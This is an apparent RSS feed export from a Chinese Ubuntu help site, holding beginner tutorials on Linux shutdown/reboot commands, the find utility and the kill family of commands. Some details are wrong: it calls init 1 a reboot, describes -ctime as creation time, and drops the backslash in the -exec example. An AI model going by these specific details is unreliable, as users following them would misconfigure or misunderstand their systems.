<br />这篇linux关机命令写的很详细，今天在硬盘里找到的，忘记了出处了，拿出来分享一下吧！</p>
<p>在linux下一些常用的关机/重启命令有shutdown、halt、reboot、及init，它们都<br />
可以达到重启系统的目的，但每个命令的内部工作过程是不同的，通过本文的介绍，希<br />
望你可以更加灵活的运用各种关机命令。</p>
<p>1.shutdown<br />
shutdown命令安全地将系统关机。 有些用户会使用直接断掉电源的方式来关闭linux，<br />
这是十分危险的。因为linux与windows不同，其后台运行着许多进程，所以强制关机可能<br />
<span id="more-517"></span><br />
会导致进程的数据丢失﹐使系统处于不稳定的状态﹐甚至在有的系统中会损坏硬件设备。<br />
而在系统关机前使用shutdown命令﹐系统管理员会通知所有登录的用户系统将要关闭。<br />
并且login指令会被冻结﹐即新的用户不能再登录。直接关机或者延迟一定的时间才关机<br />
都是可能的﹐还可能重启。这是由所有进程〔process〕都会收到系统所送达的信号〔signal〕<br />
决定的。这让像vi之类的程序有时间储存目前正在编辑的文档﹐而像处理邮件〔mail〕和<br />
新闻〔news〕的程序则可以正常地离开等等。<br />
shutdown执行它的工作是送信号〔signal〕给init程序﹐要求它改变runlevel。<br />
Runlevel 0被用来停机〔halt〕﹐runlevel 6是用来重新激活〔reboot〕系统﹐<br />
而runlevel 1则是被用来让系统进入管理工作可以进行的状态﹔这是预设的﹐假定没有-h也<br />
没有-r参数给shutdown。要想了解在停机〔halt〕或者重新开机〔reboot〕过程中做了哪些<br />
动作﹐你可以在这个文件/etc/inittab里看到这些runlevels相关的资料。<br />
　　 shutdown 参数说明:<br />
　　 [-t] 在改变到其它runlevel之前﹐告诉init多久以后关机。<br />
　　 [-r] 重启计算器。<br />
　　 [-k] 并不真正关机﹐只是送警告信号给每位登录者〔login〕。<br />
　　 [-h] 关机后关闭电源〔halt〕。<br />
　　 [-n] 不用init﹐而是自己来关机。不鼓励使用这个选项﹐而且该选项所产生的后果往<br />
往不总是你所预期得到的。<br />
　　 [-c] cancel current process取消目前正在执行的关机程序。所以这个选项当然没有<br />
时间参数﹐但是可以输入一个用来解释的讯息﹐而这信息将会送到每位使用者。<br />
　　 [-f] 在重启计算器〔reboot〕时忽略fsck。<br />
[-F] 在重启计算器〔reboot〕时强迫fsck。<br />
　　 [-time] 设定关机〔shutdown〕前的时间。<br />
　　 　　<br />
2.halt&#8212;-最简单的关机命令</p>
<p>　　 其实halt就是调用shutdown -h。halt执行时﹐杀死应用进程﹐执行sync系统调用﹐<br />
文件系统写操作完成后就会停止内核。<br />
　　 参数说明:<br />
　　 [-n] 防止sync系统调用﹐它用在用fsck修补根分区之后﹐以阻止内核用老版本的超<br />
级块〔superblock〕覆盖修补过的超级块。<br />
　　 [-w] 并不是真正的重启或关机﹐只是写wtmp〔/var/log/wtmp〕纪录。<br />
　　 [-d] 不写wtmp纪录〔已包含在选项[-n]中〕。<br />
　　 [-f] 没有调用shutdown而强制关机或重启。<br />
　　 [-i] 关机〔或重启〕前﹐关掉所有的网络接口。<br />
　　 [-p] 该选项为缺省选项。就是关机时调用poweroff。<br />
　　<br />
3.reboot</p>
<p>reboot的工作过程差不多跟halt一样﹐不过它是引发主机重启﹐而halt是关机。它<br />
的参数与halt相差不多。</p>
<p>4.init</p>
<p>init是所有进程的祖先﹐它的进程号始终为1﹐所以发送TERM信号给init会终止所有的<br />
用户进程﹑守护进程等。shutdown 就是使用这种机制。init定义了8个运行级别(runlevel)，<br />
init 0为关机﹐init 1为重启。关于init可以长篇大论﹐这里就不再叙述。另外还有<br />
telinit命令可以改变init的运行级别﹐比如﹐telinit -iS可使系统进入单用户模式﹐<br />
并且得不到使用shutdown时的信息和等待时间
<p><strong>原创文章如转载请注明：转自<a href="http://www.ubuntuhome.com">Ubuntu之家</a> {<a href="http://www.ubuntuhome.com">www.ubuntuhome.com</a>}</strong><br/><br />
<strong>本文地址:<a href="http://www.ubuntuhome.com/linux-shutdown-command.html" rel="bookmark" title="Linux 关机命令详解">Linux 关机命令详解</a></strong></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x60, 创建于 10-9-4 */
google_ad_slot = "9529697891";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<img src="http://www.ubuntuhome.com/?ak_action=api_record_view&id=517&type=feed" alt="" />

<p>相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/command-ubuntu-shutdown.html' rel='bookmark' title='Permanent Link: 用命令让Ubuntu定时自动关机'>用命令让Ubuntu定时自动关机</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-mingli.html' rel='bookmark' title='Permanent Link: Linux 常用命令收集[菜鸟版]'>Linux 常用命令收集[菜鸟版]</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/1119.html' rel='bookmark' title='Permanent Link: Linux 版 Chrome 即将支持 Linux 的系统密码管理系统'>Linux 版 Chrome 即将支持 Linux 的系统密码管理系统</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-kill-command.html' rel='bookmark' title='Permanent Link: Ubuntu kill命令用法详解'>Ubuntu kill命令用法详解</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-dir.html' rel='bookmark' title='Permanent Link: Linux/ubuntu目录解释'>Linux/ubuntu目录解释</a></li>
<li><a href='http://www.ubuntuhome.com/linuxubuntu-sudo.html' rel='bookmark' title='Permanent Link: Linux/Ubuntu sudo命令详解使用格式和方法'>Linux/Ubuntu sudo命令详解使用格式和方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-boot-opne-numlock.html' rel='bookmark' title='Permanent Link: ubuntu 开机自动开启数字小键盘'>ubuntu 开机自动开启数字小键盘</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-quick-key.html' rel='bookmark' title='Permanent Link: Linux/ubuntu常用快捷键大集合'>Linux/ubuntu常用快捷键大集合</a></li>
<li><a href='http://www.ubuntuhome.com/linux-kernel-2-6-32.html' rel='bookmark' title='Permanent Link: Linux Kernel 2.6.32 发布'>Linux Kernel 2.6.32 发布</a></li>
</ul></p>]]></content:encoded>
			<wfw:commentRss>http://www.ubuntuhome.com/linux-shutdown-command.html/feed</wfw:commentRss>
		<slash:comments>9</slash:comments>
		</item>
		<item>
		<title>Linux命令行Find小技巧</title>
		<link>http://www.ubuntuhome.com/linux-find-command.html</link>
		<comments>http://www.ubuntuhome.com/linux-find-command.html#comments</comments>
		<pubDate>Fri, 28 Aug 2009 05:55:42 +0000</pubDate>
		<dc:creator>Fcola</dc:creator>
				<category><![CDATA[Linux学习]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[find]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.ubuntuhome.com/?p=464</guid>
		<description><![CDATA[命令行一直是Linux用户用来解决问题的首要选择,当需要做某件事时，你只要想好如何去做，从那时起你就知道该如何做了 不过很少有人花些时间系统地了解处理工具在处理过程中的输入和输出。因此对于最基本实用工具的功能可能并不是很了解。在本文中，我们将讨论所有shell工具箱中都有的一个重要工具：find实用工具。 正如它的名字所表示的，find是在磁盘中查找满足给定标准的文件和目录的应用程序。默认情况下，它从当前目录开始，向下扫描所有子目录。Find基于各种不同的文件属性来进行查询，而且可以对查询结果执行某种操作，通常是对每个查询结果运行一些程序。 让我们来看一些例子：首先，为了在当前目录或子目录中查找所有html文件，我们可以使用：find -name “*.html” -type f 该命令有两个测试条件，第一个，“-name”用于检验搜索过程中的每个文件名，如果你需要对大小写敏感，可以使用“-iname”代替。第二个参数是 “-type”，它用于指定你感兴趣的文件类型。“f”表示我们查找的是普通文件，我们可以使用“d”表示目录或使用“l”表示符号连接。在find 手册中可以看到该工具的所有选项。 在上面的这个例子中，因为我们要在当前目录中搜索，所以没有指定路径。你可以从你的系统中的任何目录开始搜索，例如，你知道html文件存放在两个位置之一中，那么我们就可以通过指定一个开始搜索点使查询更快更准确。 find /var/www /home/nickg/public_html -name “*.html” -type f 这个查询从web服务器的根目录开始，搜索我的html根目录和它的子目录，希望能够得到我们想要的结果，而不是像web浏览器缓存或html帮助文件。 默认情况下，find遍历所有子目录，但是你可以通过指定最大深度来控制这个行为。在前面的例子中，如果我们只想搜索这两个目录不想搜索下一层，你可以添加“-maxdepth 1”到命令中。设置最大深度为0表示只检验命令行中的给定文件。同样，你可以设定最小深度，从而避免搜索位于根目录的文件。 find 的另一个应用是搜索属于某个给定用户的文件，因此为了搜索我的系统中所有属于我的文件，我使用以下命令：find / -user nickg 同样可以搜索基于组用户的文件，使用“-group”参数。 另外的测试分类与时间相关，我们可以用基于时间的方式来搜索文件，可以分别使用“-ctime”，“-atime”和“-mtime”参数来指定最后创建时间，最后访问时间和最后修改时间。例如要搜索前天创建的文件，可以使用：find -ctime -1 注意1前面的“-”表示我们是从今天向以前的日期范围搜索。如果你需要更精确地搜索，可以使用分钟变量“-cmin”，“-amin”和“-mmin”。如果你刚犯了一个错误但不确定会影响到那些文件，这很简单可以使用如下查询：find -mmin -5 find对文件执行的标准行为是显示出文件名，这就是为什么如果你跟踪结果，就会看到一系列文件名的原因。如果你想使用这些结果作为另外一个过滤器的输入的话，这将会十分有用。但是如果你需要结果的更多信息，你可以令find输出与ls –l 同样的结果： find -user nickg -iname “*.html” –ls 这个命令将会返回文件权限和时间信息。 最后，你可以通过使用“-exec”参数，来让find命令对每个搜索结果运行任何程序。下面的程序将会删除你的home目录中所有扩展名为“.tmp”的文件。 find -name “.tmp” -exec rm {} ; 上面两个大括号将会被相应的文件名代替，反斜杠用来告诉find何时命令结束。Find常和chmod结合使用快速改变大量文件的文件权限，或者和 grep与sed结合使用来选择性的搜索或使用正则表达式修改文本。这仅是与find相关使用技巧的冰山一角，使用它作为一个脚本的输入，你可以让费时的任务自动完成，例如清除一年内没有访问的文件，或者自动备份修改的文件。Find的这种强大更能意味着它仍将是linux用户用来处理任务的最好工具之一。 本文转自：oklinux [...]


相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-auto-login.html' rel='bookmark' title='Permanent Link: linux/ubuntu 实现自动登录'>linux/ubuntu 实现自动登录</a></li>
<li><a href='http://www.ubuntuhome.com/13-linux-command.html' rel='bookmark' title='Permanent Link: 13 Linux致命命令'>13 Linux致命命令</a></li>
<li><a href='http://www.ubuntuhome.com/chrome-stable-5-0-375-127.html' rel='bookmark' title='Permanent Link: Chrome Stable 升级到 5.0.375.127'>Chrome Stable 升级到 5.0.375.127</a></li>
<li><a href='http://www.ubuntuhome.com/wget-command.html' rel='bookmark' title='Permanent Link: wget 命令用法详解'>wget 命令用法详解</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-tweak-0-5-5.html' rel='bookmark' title='Permanent Link: Ubuntu Tweak 0.5.5正式发布'>Ubuntu Tweak 0.5.5正式发布</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-10-web.html' rel='bookmark' title='Permanent Link: 在你的网站中加入Ubuntu 9.10 Web倒计时'>在你的网站中加入Ubuntu 9.10 Web倒计时</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-10-karmic-koala-release-candidate.html' rel='bookmark' title='Permanent Link: Ubuntu 9.10 (Karmic Koala) Release Candidate 发布及下载地址'>Ubuntu 9.10 (Karmic Koala) Release Candidate 发布及下载地址</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-fedora-redhat-cdma-huawe-ec226.html' rel='bookmark' title='Permanent Link: Ubuntu Fedora RedHat电信天翼CDMA 1x EV-DO(3G)上网，华为HUAWEI EC226'>Ubuntu Fedora RedHat电信天翼CDMA 1x EV-DO(3G)上网，华为HUAWEI EC226</a></li>
<li><a href='http://www.ubuntuhome.com/linuxubuntu-sudo.html' rel='bookmark' title='Permanent Link: Linux/Ubuntu sudo命令详解使用格式和方法'>Linux/Ubuntu sudo命令详解使用格式和方法</a></li>
</ul>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x15, 创建于 10-9-4 */
google_ad_slot = "6313474296";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />
<br />命令行一直是Linux用户用来解决问题的首要选择,当需要做某件事时，你只要想好如何去做，从那时起你就知道该如何做了</p>
<p>不过很少有人花些时间系统地了解处理工具在处理过程中的输入和输出。因此对于最基本实用工具的功能可能并不是很了解。在本文中，我们将讨论所有shell工具箱中都有的一个重要工具：find实用工具。</p>
<p>正如它的名字所表示的，find是在磁盘中查找满足给定标准的文件和目录的应用程序。默认情况下，它从当前目录开始，向下扫描所有子目录。Find基于各种不同的文件属性来进行查询，而且可以对查询结果执行某种操作，通常是对每个查询结果运行一些程序。<br />
<span id="more-464"></span><br />
让我们来看一些例子：首先，为了在当前目录或子目录中查找所有html文件，我们可以使用：find -name “*.html” -type f</p>
<p>该命令有两个测试条件，第一个，“-name”用于检验搜索过程中的每个文件名，如果你需要对大小写敏感，可以使用“-iname”代替。第二个参数是 “-type”，它用于指定你感兴趣的文件类型。“f”表示我们查找的是普通文件，我们可以使用“d”表示目录或使用“l”表示符号连接。在find 手册中可以看到该工具的所有选项。</p>
<p>在上面的这个例子中，因为我们要在当前目录中搜索，所以没有指定路径。你可以从你的系统中的任何目录开始搜索，例如，你知道html文件存放在两个位置之一中，那么我们就可以通过指定一个开始搜索点使查询更快更准确。</p>
<p>find /var/www /home/nickg/public_html -name “*.html” -type f</p>
<p>这个查询从web服务器的根目录开始，搜索我的html根目录和它的子目录，希望能够得到我们想要的结果，而不是像web浏览器缓存或html帮助文件。</p>
<p>默认情况下，find遍历所有子目录，但是你可以通过指定最大深度来控制这个行为。在前面的例子中，如果我们只想搜索这两个目录不想搜索下一层，你可以添加“-maxdepth 1”到命令中。设置最大深度为0表示只检验命令行中的给定文件。同样，你可以设定最小深度，从而避免搜索位于根目录的文件。</p>
<p>find 的另一个应用是搜索属于某个给定用户的文件，因此为了搜索我的系统中所有属于我的文件，我使用以下命令：find / -user nickg</p>
<p>同样可以搜索基于组用户的文件，使用“-group”参数。</p>
<p>另外的测试分类与时间相关，我们可以用基于时间的方式来搜索文件，可以分别使用“-ctime”，“-atime”和“-mtime”参数来指定最后创建时间，最后访问时间和最后修改时间。例如要搜索前天创建的文件，可以使用：find -ctime -1</p>
<p>注意1前面的“-”表示我们是从今天向以前的日期范围搜索。如果你需要更精确地搜索，可以使用分钟变量“-cmin”，“-amin”和“-mmin”。如果你刚犯了一个错误但不确定会影响到那些文件，这很简单可以使用如下查询：find -mmin -5</p>
<p>find对文件执行的标准行为是显示出文件名，这就是为什么如果你跟踪结果，就会看到一系列文件名的原因。如果你想使用这些结果作为另外一个过滤器的输入的话，这将会十分有用。但是如果你需要结果的更多信息，你可以令find输出与ls –l 同样的结果：</p>
<p>find -user nickg -iname “*.html” –ls</p>
<p>这个命令将会返回文件权限和时间信息。</p>
<p>最后，你可以通过使用“-exec”参数，来让find命令对每个搜索结果运行任何程序。下面的程序将会删除你的home目录中所有扩展名为“.tmp”的文件。</p>
<p>find -name “.tmp” -exec rm {} ;</p>
<p>上面两个大括号将会被相应的文件名代替，反斜杠用来告诉find何时命令结束。Find常和chmod结合使用快速改变大量文件的文件权限，或者和 grep与sed结合使用来选择性的搜索或使用正则表达式修改文本。这仅是与find相关使用技巧的冰山一角，使用它作为一个脚本的输入，你可以让费时的任务自动完成，例如清除一年内没有访问的文件，或者自动备份修改的文件。Find的这种强大更能意味着它仍将是linux用户用来处理任务的最好工具之一。</p>
<p>本文转自：<a href="http://www.oklinux.cn/html/Basic/cyml/20070601/27361.html" target="_blank">oklinux</a>
<p><strong>原创文章如转载请注明：转自<a href="http://www.ubuntuhome.com">Ubuntu之家</a> {<a href="http://www.ubuntuhome.com">www.ubuntuhome.com</a>}</strong><br/><br />
<strong>本文地址:<a href="http://www.ubuntuhome.com/linux-find-command.html" rel="bookmark" title="Linux命令行Find小技巧">Linux命令行Find小技巧</a></strong></p>
<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x60, 创建于 10-9-4 */
google_ad_slot = "9529697891";
google_ad_width = 468;
google_ad_height = 60;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script></p>
<img src="http://www.ubuntuhome.com/?ak_action=api_record_view&id=464&type=feed" alt="" />

<p>相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-auto-login.html' rel='bookmark' title='Permanent Link: linux/ubuntu 实现自动登录'>linux/ubuntu 实现自动登录</a></li>
<li><a href='http://www.ubuntuhome.com/13-linux-command.html' rel='bookmark' title='Permanent Link: 13 Linux致命命令'>13 Linux致命命令</a></li>
<li><a href='http://www.ubuntuhome.com/chrome-stable-5-0-375-127.html' rel='bookmark' title='Permanent Link: Chrome Stable 升级到 5.0.375.127'>Chrome Stable 升级到 5.0.375.127</a></li>
<li><a href='http://www.ubuntuhome.com/wget-command.html' rel='bookmark' title='Permanent Link: wget 命令用法详解'>wget 命令用法详解</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-tweak-0-5-5.html' rel='bookmark' title='Permanent Link: Ubuntu Tweak 0.5.5正式发布'>Ubuntu Tweak 0.5.5正式发布</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-10-web.html' rel='bookmark' title='Permanent Link: 在你的网站中加入Ubuntu 9.10 Web倒计时'>在你的网站中加入Ubuntu 9.10 Web倒计时</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-10-karmic-koala-release-candidate.html' rel='bookmark' title='Permanent Link: Ubuntu 9.10 (Karmic Koala) Release Candidate 发布及下载地址'>Ubuntu 9.10 (Karmic Koala) Release Candidate 发布及下载地址</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-fedora-redhat-cdma-huawe-ec226.html' rel='bookmark' title='Permanent Link: Ubuntu Fedora RedHat电信天翼CDMA 1x EV-DO(3G)上网，华为HUAWEI EC226'>Ubuntu Fedora RedHat电信天翼CDMA 1x EV-DO(3G)上网，华为HUAWEI EC226</a></li>
<li><a href='http://www.ubuntuhome.com/linuxubuntu-sudo.html' rel='bookmark' title='Permanent Link: Linux/Ubuntu sudo命令详解使用格式和方法'>Linux/Ubuntu sudo命令详解使用格式和方法</a></li>
</ul></p>]]></content:encoded>
			<wfw:commentRss>http://www.ubuntuhome.com/linux-find-command.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ubuntu kill命令用法详解</title>
		<link>http://www.ubuntuhome.com/ubuntu-kill-command.html</link>
		<comments>http://www.ubuntuhome.com/ubuntu-kill-command.html#comments</comments>
		<pubDate>Mon, 17 Aug 2009 14:58:44 +0000</pubDate>
		<dc:creator>Fcola</dc:creator>
				<category><![CDATA[Linux学习]]></category>
		<category><![CDATA[新手教程]]></category>
		<category><![CDATA[command]]></category>
		<category><![CDATA[kill]]></category>

		<guid isPermaLink="false">http://www.ubuntuhome.com/?p=318</guid>
		<description><![CDATA[1. kill 作用：根据进程号杀死进程 用法： kill ［信号代码］ 进程ID root@fcola:/# ps -ef &#124; grep sendmail smmsp    14354 14337  0 00:08 pts/1    00:00:00 sendmail start smmsp    14356  3154  0 00:08 pts/0    00:00:00 sendmail -s smmsp    14359  3154  0 00:09 pts/0    00:00:00 sendmail start smmsp    14360 14337  0 00:09 pts/1    00:00:00 [...]


相关文章导读:<ul><li><a href='http://www.ubuntuhome.com/up-ubuntu.html' rel='bookmark' title='Permanent Link: 10大最具价值开源软件 Ubuntu 上榜'>10大最具价值开源软件 Ubuntu 上榜</a></li>
<li><a href='http://www.ubuntuhome.com/linux-ubuntu-dir.html' rel='bookmark' title='Permanent Link: Linux/ubuntu目录解释'>Linux/ubuntu目录解释</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-all-command.html' rel='bookmark' title='Permanent Link: ubuntu命令大合集'>ubuntu命令大合集</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-remove-headers.html' rel='bookmark' title='Permanent Link: Ubuntu中如何删除多余内核'>Ubuntu中如何删除多余内核</a></li>
<li><a href='http://www.ubuntuhome.com/linux-tips-command.html' rel='bookmark' title='Permanent Link: Linux小知识： 统计当前目录下文件数'>Linux小知识： 统计当前目录下文件数</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-grub.html' rel='bookmark' title='Permanent Link: ubuntu－重装XP后如何恢复GRUB启动菜单'>ubuntu－重装XP后如何恢复GRUB启动菜单</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-forget-password.html' rel='bookmark' title='Permanent Link: Ubuntu 忘记用户名密码的解决方法'>Ubuntu 忘记用户名密码的解决方法</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-10-04-gurb-add-command.html' rel='bookmark' title='Permanent Link: ubuntu 10.04 开机增加命令界面'>ubuntu 10.04 开机增加命令界面</a></li>
<li><a href='http://www.ubuntuhome.com/ubuntu-9-10-ctrlaltbackspace.html' rel='bookmark' title='Permanent Link: Ubuntu 9.10中Ctrl+Alt+Backspace启用方法'>Ubuntu 9.10中Ctrl+Alt+Backspace启用方法</a></li>
<li><a href='http://www.ubuntuhome.com/virtualbox-usb.html' rel='bookmark' title='Permanent Link: VirtualBox USB解决方案'>VirtualBox USB解决方案</a></li>
</ul>]]></description>
			<content:encoded><![CDATA[<p><script type="text/javascript"><!--
google_ad_client = "pub-6623817064322353";
/* 468x15, 创建于 10-9-4 */
google_ad_slot = "6313474296";
google_ad_width = 468;
google_ad_height = 15;
//-->
</script><br />
<script type="text/javascript"
src="http://pagead2.googlesyndication.com/pagead/show_ads.js">
</script><br />

<div><strong><span style="color: #cc3333;">1. kill</span></strong><span style="color: #cc3333;"> </span></div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><span style="color: #cc3333;"><br />
</span></span></span></div>
<div><span style="color: #cc3333;">作用：根据进程号杀死进程 </span></div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>用法： kill ［信号代码］ 进程ID</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>root@fcola:/# <span style="color: #0001ff;">ps -ef | grep sendmail</span></div>
<div><span style="color: #ff0102;">smmsp    14354 14337  0 00:08 pts/1    00:00:00 sendmail start</span></div>
<div>smmsp    14356  3154  0 00:08 pts/0    00:00:00 sendmail -s</div>
<div>smmsp    14359  3154  0 00:09 pts/0    00:00:00 sendmail start</div>
<div>smmsp    14360 14337  0 00:09 pts/1    00:00:00 sendmail state</div>
<div>root     17723 15753  0 01:08 pts/2    00:00:00 vim sendmail.mc</div>
<div>root     19022     1  0 01:26 ?        00:00:03 gedit /etc/mail/sendmail.mc</div>
<div>root     20674 15753  0 01:55 pts/2    00:00:00 grep sendmail</div>
<div>root@loris-desktop:/# <a href="http://ubuntuhome.com" target="_blank"><span style="color: #0001ff;">kill -9 14354</span></a></div>
<div>注意：kill -9 来强制终止退出</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><span id="more-318"></span><br />
</span></span></div>
<div>特殊用法：</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>kill -STOP [pid]</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>发送SIGSTOP (17,19,23)停止一个进程，而并不消灭这个进程。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>kill -CONT [pid]</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>发送SIGCONT (19,18,25)重新开始一个停止的进程。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>kill -KILL [pid]</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>发送SIGKILL (9)强迫进程立即停止，并且不实施清理操作。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>kill -9 -1</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>终止你拥有的全部进程。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><span style="color: #cc3333;"><br />
</span></span></span></div>
<div><strong><span style="color: #cc3333;">2. killall </span></strong></div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><span style="color: #cc3333;"><br />
</span></span></span></div>
<div><span style="color: #cc3333;">作用：通过程序的名字，直接杀死所有进程 </span></div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>用法：killall 正在运行的程序名</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>举例：</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>root@fcola:/# <span style="color: #0001ff;">ps -ef | grep sendmail</span></div>
<div>smmsp    14354 14337  0 00:08 pts/1    00:00:00 sendmail start</div>
<div>smmsp    14356  3154  0 00:08 pts/0    00:00:00 sendmail -s</div>
<div>smmsp    14359  3154  0 00:09 pts/0    00:00:00 sendmail start</div>
<div>smmsp    14360 14337  0 00:09 pts/1    00:00:00 sendmail state</div>
<div>root     17723 15753  0 01:08 pts/2    00:00:00 vim sendmail.mc</div>
<div>root     19022     1  0 01:26 ?        00:00:03 gedit /etc/mail/sendmail.mc</div>
<div>root     20683 15753  0 01:59 pts/2    00:00:00 grep sendmail</div>
<div>root@fcola:/# <span style="color: #0001ff;">killall -9 sendmail</span></div>
<div>root@<span style="color: #000102;">fcola:/# ps -ef | grep sendmail</span></div>
<div>root     17723 15753  0 01:08 pts/2    00:00:00 vim sendmail.mc</div>
<div>root     19022     1  0 01:26 ?        00:00:03 gedit /etc/mail/sendmail.mc</div>
<div>root     20686 15753  0 01:59 pts/2    00:00:00 grep sendmail</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>root@fcola:/# <span style="color: #0001ff;">killall -9 sendmail</span></div>
<div>注意：该命令可以使用 -9 参数来强制杀死进程</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div><strong><span style="color: #cc3333;">3. pkill</span></strong><span style="color: #cc3333;"> </span></div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><span style="color: #cc3333;"><br />
</span></span></span></div>
<div><span style="color: #cc3333;">作用：通过程序的名字，直接杀死所有进程 </span></div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>用法：#pkill 正在运行的程序名</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>举例：</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>root@fcola:/# ps -ef | grep sendmail</div>
<div>root     17723 15753  0 01:08 pts/2    00:00:00 vim sendmail.mc</div>
<div>root     19022     1  0 01:26 ?        00:00:03 gedit /etc/mail/sendmail.mc</div>
<div>root     21480 15753  0 02:03 pts/2    00:00:00 grep sendmail</div>
<div>root@fcola:/# <span style="color: #0001ff;">pkill sendmail</span></div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div><span style="color: #cc3333;"><strong>4. xkill</strong></span><span style="color: #cc3333;"><strong> </strong></span></div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><span style="color: #cc3333;"><br />
</span></span></span></div>
<div><span style="color: #cc3333;">作用：杀死桌面图形界面的程序。</span></div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>应用情形实例：firefox出现崩溃不能退出时，点鼠标就能杀死firefox 。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>当xkill运行时出来和个人脑骨的图标，哪个图形程序崩溃一点就OK了。</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>如果您想终止xkill ，就按右键取消；</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>调用方法：</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>[root@localhost ~]# xkill</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>◆编者注：</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>KILLALL(Section: User (1)/Updated: 1999年9月7日)</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>NAME (名称)</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>killall &#8211; 以名字方式来杀死进程</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>SYNOPSIS (总览)</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>killall [-egiqvw] [-signal] name &#8230;</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>killall -l</div>
<div><span style="font-size: small;"><span style="font-size: 12px;"><br />
</span></span></div>
<div>killall -V</div>
